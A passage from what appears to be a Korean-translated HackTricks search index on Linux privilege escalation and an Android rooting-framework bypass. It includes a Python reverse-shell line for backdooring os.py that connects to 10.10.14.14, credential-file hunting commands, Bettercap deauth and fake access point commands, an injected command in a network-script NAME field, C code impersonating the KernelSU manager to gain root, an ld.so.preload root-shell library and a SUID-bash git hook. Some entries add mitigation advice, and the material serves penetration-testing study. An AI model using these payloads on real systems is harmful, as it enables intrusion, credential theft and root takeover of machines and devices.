2>/dev/null\\ndone\\ndone","breadcrumbs":"Linux Privilege Escalation » 이상한 위치/Owned 파일","id":"1470","title":"이상한 위치/Owned 파일"},"1471":{"body":"bash find / -type f -mmin -5 ! -path \\"/proc/*\\" ! -path \\"/sys/*\\" ! -path \\"/run/*\\" ! -path \\"/dev/*\\" ! -path \\"/var/lib/*\\" 2>/dev/null","breadcrumbs":"Linux Privilege Escalation » 최근 몇 분 내에 수정된 파일","id":"1471","title":"최근 몇 분 내에 수정된 파일"},"1472":{"body":"bash find / -name \'*.db\' -o -name \'*.sqlite\' -o -name \'*.sqlite3\' 2>/dev/null","breadcrumbs":"Linux Privilege Escalation » Sqlite DB 파일","id":"1472","title":"Sqlite DB 파일"},"1473":{"body":"bash find / -type f \\\\( -name \\"*_history\\" -o -name \\".sudo_as_admin_successful\\" -o -name \\".profile\\" -o -name \\"*bashrc\\" -o -name \\"httpd.conf\\" -o -name \\"*.plan\\" -o -name \\".htpasswd\\" -o -name \\".git-credentials\\" -o -name \\"*.rhosts\\" -o -name \\"hosts.equiv\\" -o -name \\"Dockerfile\\" -o -name \\"docker-compose.yml\\" \\\\) 2>/dev/null","breadcrumbs":"Linux Privilege Escalation » *_history, .sudo_as_admin_successful, profile, bashrc, httpd.conf, .plan, .htpasswd, .git-credentials, .rhosts, hosts.equiv, Dockerfile, docker-compose.yml 파일들","id":"1473","title":"*_history, .sudo_as_admin_successful, profile, bashrc, httpd.conf, .plan, .htpasswd, .git-credentials, .rhosts, hosts.equiv, Dockerfile, docker-compose.yml 파일들"},"1474":{"body":"bash find / -type f -iname \\".*\\" -ls 2>/dev/null","breadcrumbs":"Linux Privilege Escalation » 숨겨진 파일","id":"1474","title":"숨겨진 파일"},"1475":{"body":"bash for d in `echo $PATH | tr \\":\\" \\"\\\\n\\"`; do find $d -name \\"*.sh\\" 2>/dev/null; done\\nfor d in `echo $PATH | tr \\":\\" \\"\\\\n\\"`; do find $d -type f -executable 2>/dev/null; done","breadcrumbs":"Linux Privilege Escalation » PATH에 있는 스크립트/바이너리","id":"1475","title":"PATH에 있는 스크립트/바이너리"},"1476":{"body":"bash ls -alhR /var/www/ 2>/dev/null\\nls -alhR /srv/www/htdocs/ 2>/dev/null\\nls -alhR /usr/local/www/apache22/data/\\nls -alhR /opt/lampp/htdocs/ 2>/dev/null","breadcrumbs":"Linux Privilege Escalation » 웹 파일","id":"1476","title":"웹 파일"},"1477":{"body":"bash find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/games /usr/sbin /root /tmp -type f \\\\( -name \\"*backup*\\" -o -name \\"*\\\\.bak\\" -o -name \\"*\\\\.bck\\" -o -name \\"*\\\\.bk\\" \\\\) 2>/dev/null","breadcrumbs":"Linux Privilege Escalation » 백업","id":"1477","title":"백업"},"1478":{"body":"linPEAS 의 코드를 확인하세요. 이 도구는 비밀번호를 포함할 수 있는 여러 가능한 파일들 을 검색합니다. 또 다른 흥미로운 도구 로는: LaZagne 가 있으며, 이는 Windows, Linux & Mac의 로컬 컴퓨터에 저장된 많은 비밀번호를 복구하는 데 사용되는 오픈 소스 애플리케이션입니다.","breadcrumbs":"Linux Privilege Escalation » 비밀번호를 포함할 수 있는 알려진 파일들","id":"1478","title":"비밀번호를 포함할 수 있는 알려진 파일들"},"1479":{"body":"로그를 읽을 수 있다면 그 안에서 흥미롭거나 기밀 정보 를 찾을 수 있습니다. 로그가 이상할수록 더 흥미로울 가능성이 큽니다 (아마도). 또한 일부 bad 구성된(백도어가 심어진?) audit logs 는 이 글에서 설명한 것처럼 감사 로그 내부에 비밀번호를 기록 할 수 있게 허용할 수 있습니다: https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/ . bash aureport --tty | grep -E \\"su |sudo \\" | sed -E \\"s,su|sudo,${C}[1;31m&${C}[0m,g\\"\\ngrep -RE \'comm=\\"su\\"|comm=\\"sudo\\"\' /var/log* 2>/dev/null 로그를 읽기 위한 그룹 adm 이 정말 도움이 됩니다.","breadcrumbs":"Linux Privilege Escalation » 로그","id":"1479","title":"로그"},"148":{"body":"bash # Events\\nevents.stream off #Stop showing events\\nevents.show #Show all events\\nevents.show 5 #Show latests 5 events\\nevents.clear # Ticker (loop of commands)\\nset ticker.period 5; set ticker.commands \\"wifi.deauth DE:AD:BE:EF:DE:AD\\"; ticker on # Caplets\\ncaplets.show\\ncaplets.update # Wifi\\nwifi.recon on\\nwifi.deauth BSSID\\nwifi.show\\n# Fake wifi\\nset wifi.ap.ssid Banana\\nset wifi.ap.bssid DE:AD:BE:EF:DE:AD\\nset wifi.ap.channel 5\\nset wifi.ap.encryption false #If true, WPA2\\nwifi.recon on; wifi.ap","breadcrumbs":"Pentesting Network » Bettercap","id":"148","title":"Bettercap"},"1480":{"body":"bash ~/.bash_profile # if it exists, read it once when you log in to the shell\\n~/.bash_login # if it exists, read it once if .bash_profile doesn\'t exist\\n~/.profile # if it exists, read once if the two above don\'t exist\\n/etc/profile # only read if none of the above exists\\n~/.bashrc # if it exists, read it every time you start a new shell\\n~/.bash_logout # if it exists, read when the login shell exits\\n~/.zlogin #zsh shell\\n~/.zshrc #zsh shell","breadcrumbs":"Linux Privilege Escalation » Shell files","id":"1480","title":"Shell files"},"1481":{"body":"파일 이름에 \\" password \\"라는 단어가 포함되어 있거나 파일의 name 이나 파일 content 내부에 있는 파일들도 확인해야 하며, 로그 안의 IPs와 emails, 또는 hashes regexps도 확인하세요. 여기에서 이 모든 방법을 일일이 설명하지는 않겠지만, 관심이 있다면 linpeas 가 수행하는 마지막 검사들을 확인해 보세요.","breadcrumbs":"Linux Privilege Escalation » Generic Creds Search/Regex","id":"1481","title":"Generic Creds Search/Regex"},"1482":{"body":"","breadcrumbs":"Linux Privilege Escalation » 쓰기 가능한 파일","id":"1482","title":"쓰기 가능한 파일"},"1483":{"body":"만약 python 스크립트가 where 실행될지 알고 그 폴더에 can write inside 있거나 modify python libraries 할 수 있다면, OS 라이브러리를 수정해 backdoor 할 수 있습니다 (python 스크립트가 실행될 위치에 쓸 수 있다면 os.py 라이브러리를 복사해서 붙여넣으세요). 라이브러리에 backdoor the library 하려면 os.py 라이브러리의 끝에 다음 줄을 추가하세요 (IP와 PORT를 변경하세요): python import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\\"10.10.14.14\\",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\\"/bin/sh\\",\\"-i\\"]);","breadcrumbs":"Linux Privilege Escalation » Python library hijacking","id":"1483","title":"Python library hijacking"},"1484":{"body":"A vulnerability in logrotate lets users with write permissions on a log file or its parent directories potentially gain escalated privileges. This is because logrotate, often running as root , can be manipulated to execute arbitrary files, especially in directories like /etc/bash_completion.d/ . It\'s important to check permissions not just in /var/log but also in any directory where log rotation is applied. tip 이 취약점은 logrotate 버전 3.18.0 및 이전 버전에 영향을 줍니다 More detailed information about the vulnerability can be found on this page: https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition . You can exploit this vulnerability with logrotten . This vulnerability is very similar to CVE-2016-1247 (nginx logs), so whenever you find that you can alter logs, check who is managing those logs and check if you can escalate privileges substituting the logs by symlinks.","breadcrumbs":"Linux Privilege Escalation » Logrotate 악용","id":"1484","title":"Logrotate 악용"},"1485":{"body":"Vulnerability reference: https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f 어떤 이유로든 사용자가 _/etc/sysconfig/network-scripts_에 ifcf- 스크립트를 쓰기 또는 기존 스크립트를 조정 할 수 있다면, 시스템은 pwned 입니다. Network scripts, ifcg-eth0 for example are used for network connections. They look exactly like .INI files. However, they are ~sourced~ on Linux by Network Manager (dispatcher.d). In my case, the NAME= attributed in these network scripts is not handled correctly. If you have white/blank space in the name the system tries to execute the part after the white/blank space . This means that everything after the first blank space is executed as root . For example: /etc/sysconfig/network-scripts/ifcfg-1337 bash NAME=Network /bin/id\\nONBOOT=yes\\nDEVICE=eth0 ( Network와 /bin/id 사이의 공백에 주의하세요_)","breadcrumbs":"Linux Privilege Escalation » /etc/sysconfig/network-scripts/ (Centos/Redhat)","id":"1485","title":"/etc/sysconfig/network-scripts/ (Centos/Redhat)"},"1486":{"body":"디렉터리 /etc/init.d 는 System V init (SysVinit)을 위한 스크립트 들의 저장소입니다. 이는 서비스를 start, stop, restart, 때때로 reload 하는 스크립트를 포함합니다. 이러한 스크립트는 직접 실행하거나 /etc/rc?.d/에 있는 심볼릭 링크를 통해 실행할 수 있습니다. Redhat 계열 시스템의 대안 경로는 /etc/rc.d/init.d 입니다. 반면에 /etc/init 는 Upstart 와 연관되어 있으며, Ubuntu에서 도입된 더 최신의 서비스 관리 방식으로 서비스 관리를 위한 설정 파일을 사용합니다. Upstart로 전환되었음에도 호환 레이어 때문에 SysVinit 스크립트는 Upstart 설정과 함께 여전히 사용됩니다. systemd 는 현대적인 초기화 및 서비스 관리자로 등장했으며, on-demand daemon 시작, automount 관리, 시스템 상태 스냅샷 등 고급 기능을 제공합니다. systemd는 배포 패키지용으로 /usr/lib/systemd/에 파일을, 관리자 수정용으로 /etc/systemd/system/에 파일을 정리하여 시스템 관리 작업을 단순화합니다.","breadcrumbs":"Linux Privilege Escalation » init, init.d, systemd, and rc.d","id":"1486","title":"init, init.d, systemd, and rc.d"},"1487":{"body":"","breadcrumbs":"Linux Privilege Escalation » 기타 트릭","id":"1487","title":"기타 트릭"},"1488":{"body":"NFS no_root_squash/no_all_squash misconfiguration PE","breadcrumbs":"Linux Privilege Escalation » NFS Privilege escalation","id":"1488","title":"NFS Privilege escalation"},"1489":{"body":"Escaping from Jails","breadcrumbs":"Linux Privilege Escalation » Escaping from restricted Shells","id":"1489","title":"Escaping from restricted Shells"},"149":{"body":"UDP 패킷을 요청된 포트를 갖고 있지 않은 장치로 전송하면 ICMP (Port Unreachable)가 반환된다는 점을 유의하라.","breadcrumbs":"Pentesting Network » 액티브 디스커버리 노트","id":"149","title":"액티브 디스커버리 노트"},"1490":{"body":"Cisco - vmanage","breadcrumbs":"Linux Privilege Escalation » Cisco - vmanage","id":"1490","title":"Cisco - vmanage"},"1491":{"body":"Android rooting frameworks는 일반적으로 syscall을 hook하여 privileged kernel 기능을 userspace manager에 노출합니다. 약한 manager 인증(예: FD-order 기반 서명 검사나 취약한 비밀번호 방식)은 로컬 앱이 manager를 가장하여 이미 root된 기기에서 root로 권한 상승하도록 만들 수 있습니다. 자세한 내용 및 익스플로잇 정보는 다음을 참조하세요: Android Rooting Frameworks Manager Auth Bypass Syscall Hook","breadcrumbs":"Linux Privilege Escalation » Android rooting frameworks: manager-channel abuse","id":"1491","title":"Android rooting frameworks: manager-channel abuse"},"1492":{"body":"https://github.com/a13xp0p0v/kconfig-hardened-check https://github.com/a13xp0p0v/linux-kernel-defence-map","breadcrumbs":"Linux Privilege Escalation » Kernel Security Protections","id":"1492","title":"Kernel Security Protections"},"1493":{"body":"Static impacket binaries","breadcrumbs":"Linux Privilege Escalation » 추가 도움","id":"1493","title":"추가 도움"},"1494":{"body":"","breadcrumbs":"Linux Privilege Escalation » Linux/Unix Privesc Tools","id":"1494","title":"Linux/Unix Privesc Tools"},"1495":{"body":"LinEnum : https://github.com/rebootuser/LinEnum (-t option) Enumy : https://github.com/luke-goddard/enumy Unix Privesc Check: http://pentestmonkey.net/tools/audit/unix-privesc-check Linux Priv Checker: www.securitysift.com/download/linuxprivchecker.py BeeRoot: https://github.com/AlessandroZ/BeRoot/tree/master/Linux Kernelpop: Enumerate kernel vulns ins linux and MAC https://github.com/spencerdodd/kernelpop Mestaploit: multi/recon/local_exploit_suggester Linux Exploit Suggester: https://github.com/mzet-/linux-exploit-suggester EvilAbigail (physical access): https://github.com/GDSSecurity/EvilAbigail Recopilation of more scripts : https://github.com/1N3/PrivEsc","breadcrumbs":"Linux Privilege Escalation » Best tool to look for Linux local privilege escalation vectors: LinPEAS","id":"1495","title":"Best tool to look for Linux local privilege escalation vectors: LinPEAS"},"1496":{"body":"https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/ https://payatu.com/guide-linux-privilege-escalation/ https://pen-testing.sans.org/resources/papers/gcih/attack-defend-linux-privilege-escalation-techniques-2016-152744 http://0x90909090.blogspot.com/2015/07/no-one-expect-command-execution.html https://touhidshaikh.com/blog/?p=827 https://github.com/sagishahar/lpeworkshop/blob/master/Lab%20Exercises%20Walkthrough%20-%20Linux.pdf https://github.com/frizb/Linux-Privilege-Escalation https://github.com/lucyoa/kernel-exploits https://github.com/rtcrowley/linux-private-i https://www.linux.com/news/what-socket/ https://muzec0318.github.io/posts/PG/peppo.html https://www.linuxjournal.com/article/7744 https://blog.certcube.com/suid-executables-linux-privilege-escalation/ https://juggernaut-sec.com/sudo-part-2-lpe https://linuxconfig.org/how-to-manage-acls-on-linux https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f https://www.linode.com/docs/guides/what-is-systemd/ 0xdf – HTB Eureka (bash arithmetic injection via logs, overall chain) GNU Bash Manual – BASH_ENV (non-interactive startup file) 0xdf – HTB Environment (sudo env_keep BASH_ENV → root) tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"Linux Privilege Escalation » 참고자료","id":"1496","title":"참고자료"},"1497":{"body":"Reading time: 8 minutes tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요. KernelSU, APatch, SKRoot 및 Magisk와 같은 루팅 프레임워크는 Linux/Android 커널을 자주 패치하고 후킹된 시스템 호출을 통해 비특권 사용자 공간 \\"관리자\\" 앱에 특권 기능을 노출합니다. 관리자 인증 단계에 결함이 있는 경우, 모든 로컬 앱이 이 채널에 접근하여 이미 루팅된 장치에서 권한을 상승시킬 수 있습니다. 이 페이지는 공개 연구에서 발견된 기술과 함정을 추상화하여(특히 Zimperium의 KernelSU v0.5.7 분석) 레드 팀과 블루 팀이 공격 표면, 취약점 원시 및 강력한 완화 방법을 이해하는 데 도움을 줍니다.","breadcrumbs":"Linux Privilege Escalation » Android Rooting Frameworks Manager Auth Bypass Syscall Hook » Android Rooting Frameworks (KernelSU/Magisk) Manager Auth Bypass & Syscall Hook Abuse","id":"1497","title":"Android Rooting Frameworks (KernelSU/Magisk) Manager Auth Bypass & Syscall Hook Abuse"},"1498":{"body":"커널 모듈/패치가 시스템 호출(일반적으로 prctl)을 후킹하여 사용자 공간에서 \\"명령\\"을 수신합니다. 프로토콜은 일반적으로: magic_value, command_id, arg_ptr/len ... 사용자 공간 관리자 앱이 먼저 인증합니다(예: CMD_BECOME_MANAGER). 커널이 호출자를 신뢰할 수 있는 관리자라고 표시하면 특권 명령이 수락됩니다: 호출자에게 루트 권한 부여(예: CMD_GRANT_ROOT) su에 대한 허용 목록/거부 목록 관리 SELinux 정책 조정(예: CMD_SET_SEPOLICY) 버전/구성 쿼리 모든 앱이 시스템 호출을 호출할 수 있기 때문에 관리자 인증의 정확성이 중요합니다. 예시 (KernelSU 설계): 후킹된 시스템 호출: prctl KernelSU 핸들러로 전환하기 위한 매직 값: 0xDEADBEEF 명령에는 다음이 포함됩니다: CMD_BECOME_MANAGER, CMD_GET_VERSION, CMD_ALLOW_SU, CMD_SET_SEPOLICY, CMD_GRANT_ROOT 등.","breadcrumbs":"Linux Privilege Escalation » Android Rooting Frameworks Manager Auth Bypass Syscall Hook » 아키텍처 패턴: 시스템 호출 후킹된 관리자 채널","id":"1498","title":"아키텍처 패턴: 시스템 호출 후킹된 관리자 채널"},"1499":{"body":"사용자 공간이 prctl(0xDEADBEEF, CMD_BECOME_MANAGER, data_dir_path, ...)를 호출하면 KernelSU는 다음을 확인합니다: 경로 접두사 확인 제공된 경로는 호출자 UID에 대한 예상 접두사로 시작해야 합니다. 예: /data/data/ 또는 /data/user//. 참조: core_hook.c (v0.5.7) 경로 접두사 논리. 소유권 확인 경로는 호출자 UID가 소유해야 합니다. 참조: core_hook.c (v0.5.7) 소유권 논리. FD 테이블 스캔을 통한 APK 서명 확인 호출 프로세스의 열린 파일 설명자(FD)를 반복합니다. 경로가 /data/app/*/base.apk와 일치하는 첫 번째 파일을 선택합니다. APK v2 서명을 구문 분석하고 공식 관리자 인증서와 비교하여 확인합니다. 참조: manager.c (FD 반복), apk_sign.c (APK v2 확인). 모든 검사가 통과하면 커널은 관리자의 UID를 일시적으로 캐시하고 해당 UID에서 특권 명령을 수락합니다.","breadcrumbs":"Linux Privilege Escalation » Android Rooting Frameworks Manager Auth Bypass Syscall Hook » KernelSU v0.5.7 인증 흐름 (구현된 대로)","id":"1499","title":"KernelSU v0.5.7 인증 흐름 (구현된 대로)"},"15":{"body":"다음에서 확인하세요: HackTricks Values & FAQ","breadcrumbs":"HackTricks » 라이센스 및 면책 조항","id":"15","title":"라이센스 및 면책 조항"},"150":{"body":"ARP 패킷은 네트워크 내부에서 어떤 IP가 사용 중인지 알아내는 데 사용된다. PC는 가능한 각 IP 주소마다 요청을 보내야 하며, 사용 중인 주소만 응답한다.","breadcrumbs":"Pentesting Network » ARP 탐지","id":"150","title":"ARP 탐지"},"1500":{"body":"서명 확인이 프로세스 FD 테이블에서 발견된 \\"첫 번째 일치하는 /data/app/*/base.apk\\"에 바인딩되면, 실제로 호출자의 패키지를 확인하지 않습니다. 공격자는 합법적으로 서명된 APK(실제 관리자)를 미리 배치하여 자신의 base.apk보다 FD 목록에서 더 일찍 나타나게 할 수 있습니다. 이 간접 신뢰는 비특권 앱이 관리자의 서명 키를 소유하지 않고도 관리자를 가장할 수 있게 합니다. 악용되는 주요 속성: FD 스캔은 호출자의 패키지 ID에 바인딩되지 않으며, 경로 문자열만 패턴 일치합니다. open()은 사용 가능한 가장 낮은 FD를 반환합니다. 공격자는 낮은 번호의 FD를 먼저 닫음으로써 순서를 제어할 수 있습니다. 필터는 경로가 /data/app/*/base.apk와 일치하는지만 확인하며, 호출자의 설치된 패키지와 일치하는지는 확인하지 않습니다.","breadcrumbs":"Linux Privilege Escalation » Android Rooting Frameworks Manager Auth Bypass Syscall Hook » 취약점 클래스: FD 반복에서 \\"첫 번째 일치하는 APK\\"를 신뢰하기","id":"1500","title":"취약점 클래스: FD 반복에서 \\"첫 번째 일치하는 APK\\"를 신뢰하기"},"1501":{"body":"장치는 이미 취약한 루팅 프레임워크(예: KernelSU v0.5.7)로 루팅되어 있습니다. 공격자는 로컬에서 임의의 비특권 코드를 실행할 수 있습니다(안드로이드 앱 프로세스). 실제 관리자가 아직 인증되지 않았습니다(예: 재부팅 직후). 일부 프레임워크는 성공 후 관리자 UID를 캐시합니다; 경쟁에서 이겨야 합니다.","breadcrumbs":"Linux Privilege Escalation » Android Rooting Frameworks Manager Auth Bypass Syscall Hook » 공격 전제 조건","id":"1501","title":"공격 전제 조건"},"1502":{"body":"고수준 단계: 접두사 및 소유권 검사를 만족시키기 위해 자신의 앱 데이터 디렉토리에 대한 유효한 경로를 구축합니다. 진짜 KernelSU 관리자 base.apk가 자신의 base.apk보다 낮은 번호의 FD에서 열려 있는지 확인합니다. prctl(0xDEADBEEF, CMD_BECOME_MANAGER, , ...)를 호출하여 검사를 통과합니다. CMD_GRANT_ROOT, CMD_ALLOW_SU, CMD_SET_SEPOLICY와 같은 특권 명령을 발행하여 권한 상승을 지속합니다. 2단계에 대한 실용적인 메모 (FD 순서): /proc/self/fd 심볼릭 링크를 통해 자신의 /data/app/*/base.apk에 대한 프로세스의 FD를 식별합니다. 낮은 FD(예: stdin, fd 0)를 닫고 합법적인 관리자 APK를 먼저 열어 fd 0(또는 자신의 base.apk fd보다 낮은 인덱스)을 차지하게 합니다. 합법적인 관리자 APK를 자신의 앱과 함께 번들로 묶어 경로가 커널의 단순 필터를 만족하도록 합니다. 예를 들어, /data/app/*/base.apk와 일치하는 하위 경로에 배치합니다. 예시 코드 스니펫 (Android/Linux, 설명용만): 열린 FD를 열거하여 base.apk 항목을 찾기: c #include \\n#include \\n#include \\n#include int find_first_baseapk_fd(char out_path[PATH_MAX]) {\\nDIR *d = opendir(\\"/proc/self/fd\\");\\nif (!d) return -1;\\nstruct dirent *e; char link[PATH_MAX]; char p[PATH_MAX];\\nint best_fd = -1;\\nwhile ((e = readdir(d))) {\\nif (e->d_name[0] == \'.\') continue;\\nint fd = atoi(e->d_name);\\nsnprintf(link, sizeof(link), \\"/proc/self/fd/%d\\", fd);\\nssize_t n = readlink(link, p, sizeof(p)-1);\\nif (n <= 0) continue; p[n] = \'\\\\0\';\\nif (strstr(p, \\"/data/app/\\") && strstr(p, \\"/base.apk\\")) {\\nif (best_fd < 0 || fd < best_fd) {\\nbest_fd = fd; strncpy(out_path, p, PATH_MAX);\\n}\\n}\\n}\\nclosedir(d);\\nreturn best_fd; // First (lowest) matching fd\\n} 낮은 번호의 FD가 정당한 매니저 APK를 가리키도록 강제합니다: c #include \\n#include void preopen_legit_manager_lowfd(const char *legit_apk_path) {\\n// Reuse stdin (fd 0) if possible so the next open() returns 0\\nclose(0);\\nint fd = open(legit_apk_path, O_RDONLY);\\n(void)fd; // fd should now be 0 if available\\n} 매니저 인증을 prctl 훅을 통해: c #include \\n#include #define KSU_MAGIC 0xDEADBEEF\\n#define CMD_BECOME_MANAGER 0x100 // Placeholder; command IDs are framework-specific static inline long ksu_call(unsigned long cmd, unsigned long arg2,\\nunsigned long arg3, unsigned long arg4) {\\nreturn prctl(KSU_MAGIC, cmd, arg2, arg3, arg4);\\n} int become_manager(const char *my_data_dir) {\\nlong result = -1;\\n// arg2: command, arg3: pointer to data path (userspace->kernel copy), arg4: optional result ptr\\nresult = ksu_call(CMD_BECOME_MANAGER, (unsigned long)my_data_dir, 0, 0);\\nreturn (int)result;\\n} 성공 후, 권한 있는 명령어 (예시): CMD_GRANT_ROOT: 현재 프로세스를 루트로 승격 CMD_ALLOW_SU: 지속적인 su를 위해 패키지/UID를 허용 목록에 추가 CMD_SET_SEPOLICY: 프레임워크에서 지원하는 대로 SELinux 정책 조정 경쟁/지속성 팁: AndroidManifest에 BOOT_COMPLETED 수신기를 등록하여 재부팅 후 조기에 시작하고 실제 관리자 이전에 인증을 시도합니다.","breadcrumbs":"Linux Privilege Escalation » Android Rooting Frameworks Manager Auth Bypass Syscall Hook » 취약점 개요 (KernelSU v0.5.7)","id":"1502","title":"취약점 개요 (KernelSU v0.5.7)"},"1503":{"body":"프레임워크 개발자를 위해: 인증을 호출자의 패키지/UID에 바인딩하고 임의의 FD에 바인딩하지 마십시오: UID에서 호출자의 패키지를 해결하고 FD를 스캔하는 대신 설치된 패키지의 서명(패키지 관리자 통해)과 검증합니다. 커널 전용인 경우, 안정적인 호출자 신원(작업 자격 증명)을 사용하고 프로세스 FD가 아닌 init/userspace 도우미가 관리하는 안정적인 진실의 출처에서 검증합니다. 신원으로서 경로 접두사 검사를 피하십시오; 호출자가 쉽게 만족시킬 수 있습니다. 채널을 통한 논스 기반 챌린지-응답을 사용하고 부팅 시 또는 주요 이벤트에서 캐시된 관리자 신원을 지웁니다. 가능할 경우 일반 시스템 호출을 과부하하는 대신 바인더 기반 인증 IPC를 고려하십시오. 수비수/블루 팀을 위해: 루팅 프레임워크 및 관리자 프로세스의 존재를 탐지합니다; 커널 텔레메트리가 있는 경우 의심스러운 매직 상수(예: 0xDEADBEEF)가 있는 prctl 호출을 모니터링합니다. 관리되는 플릿에서 부팅 후 빠르게 권한 있는 관리자 명령을 시도하는 신뢰할 수 없는 패키지의 부팅 수신기를 차단하거나 경고합니다. 장치가 패치된 프레임워크 버전으로 업데이트되었는지 확인합니다; 업데이트 시 캐시된 관리자 ID를 무효화합니다. 공격의 한계: 이미 취약한 프레임워크로 루팅된 장치에만 영향을 미칩니다. 일반적으로 합법적인 관리자가 인증되기 전에 재부팅/경쟁 창이 필요합니다(일부 프레임워크는 관리자 UID를 재설정할 때까지 캐시합니다).","breadcrumbs":"Linux Privilege Escalation » Android Rooting Frameworks Manager Auth Bypass Syscall Hook » 탐지 및 완화 지침","id":"1503","title":"탐지 및 완화 지침"},"1504":{"body":"비밀번호 기반 인증(예: 역사적 APatch/SKRoot 빌드)은 비밀번호가 추측 가능하거나 무차별 대입 가능하거나 검증이 버그가 있는 경우 약할 수 있습니다. 패키지/서명 기반 인증(예: KernelSU)은 원칙적으로 더 강하지만 실제 호출자에 바인딩해야 하며 FD 스캔과 같은 간접적인 인공물에 바인딩해서는 안 됩니다. Magisk: CVE-2024-48336 (MagiskEoP)는 성숙한 생태계조차도 관리자 컨텍스트 내에서 코드 실행으로 이어지는 신원 스푸핑에 취약할 수 있음을 보여주었습니다.","breadcrumbs":"Linux Privilege Escalation » Android Rooting Frameworks Manager Auth Bypass Syscall Hook » 프레임워크 간 관련 노트","id":"1504","title":"프레임워크 간 관련 노트"},"1505":{"body":"Zimperium – The Rooting of All Evil: Security Holes That Could Compromise Your Mobile Device KernelSU v0.5.7 – core_hook.c path checks (L193, L201) KernelSU v0.5.7 – manager.c FD iteration/signature check (L43+) KernelSU – apk_sign.c APK v2 verification (main) KernelSU project APatch SKRoot MagiskEoP – CVE-2024-48336 KSU PoC demo video (Wistia) tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"Linux Privilege Escalation » Android Rooting Frameworks Manager Auth Bypass Syscall Hook » 참조","id":"1505","title":"참조"},"1506":{"body":"Reading time: 2 minutes tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"Linux Privilege Escalation » Arbitrary File Write to Root » 루트에 임의 파일 쓰기","id":"1506","title":"루트에 임의 파일 쓰기"},"1507":{"body":"이 파일은 LD_PRELOAD 환경 변수처럼 작동하지만 SUID 바이너리 에서도 작동합니다. 이 파일을 생성하거나 수정할 수 있다면, 실행되는 각 바이너리와 함께 로드될 라이브러리의 경로 를 추가할 수 있습니다. 예: echo \\"/tmp/pe.so\\" > /etc/ld.so.preload c #include \\n#include \\n#include void _init() {\\nunlink(\\"/etc/ld.so.preload\\");\\nsetgid(0);\\nsetuid(0);\\nsystem(\\"/bin/bash\\");\\n}\\n//cd /tmp\\n//gcc -fPIC -shared -o pe.so pe.c -nostartfiles","breadcrumbs":"Linux Privilege Escalation » Arbitrary File Write to Root » /etc/ld.so.preload","id":"1507","title":"/etc/ld.so.preload"},"1508":{"body":"Git hooks 는 git 리포지토리에서 커밋이 생성되거나 병합될 때와 같은 다양한 이벤트 에서 실행되는 스크립트 입니다. 따라서 특권 스크립트 또는 사용자 가 이러한 작업을 자주 수행하고 .git 폴더 에 쓰기 가 가능하다면, 이는 privesc 에 사용될 수 있습니다. 예를 들어, git 리포지토리의 **.git/hooks**에 스크립트 를 생성 하여 새로운 커밋이 생성될 때마다 항상 실행되도록 할 수 있습니다: bash echo -e \'#!/bin/bash\\\\n\\\\ncp /bin/bash /tmp/0xdf\\\\nchown root:root /tmp/0xdf\\\\nchmod 4777 /tmp/b\' > pre-commit\\nchmod +x pre-commit","breadcrumbs":"Linux Privilege Escalation » Arbitrary File Write to Root » Git hooks","id":"1508","title":"Git hooks"},"1509":{"body":"TODO","breadcrumbs":"Linux Privilege Escalation » Arbitrary File Write to Root » Cron & Time files","id":"1509","title":"Cron & Time files"},"151":{"body":"Bettercap은 각 X ms마다 _services_.dns-sd._udp.local 을 요청하는 MDNS 요청을 보낸다. 이 패킷을 본 머신은 보통 이 요청에 응답한다. 이후에는 \\"services\\"에 응답하는 머신만 탐색한다. 도구 Avahi-browser (--all) Bettercap (net.probe.mdns) Responder","breadcrumbs":"Pentesting Network » mDNS (multicast DNS)","id":"151","title":"mDNS (multicast DNS)"},"1510":{"body":"TODO","breadcrumbs":"Linux Privilege Escalation » Arbitrary File Write to Root » Service & Socket files","id":"1510","title":"Service & Socket files"},"1511":{"body":"/proc/sys/fs/binfmt_misc에 위치한 파일은 어떤 바이너리가 어떤 유형의 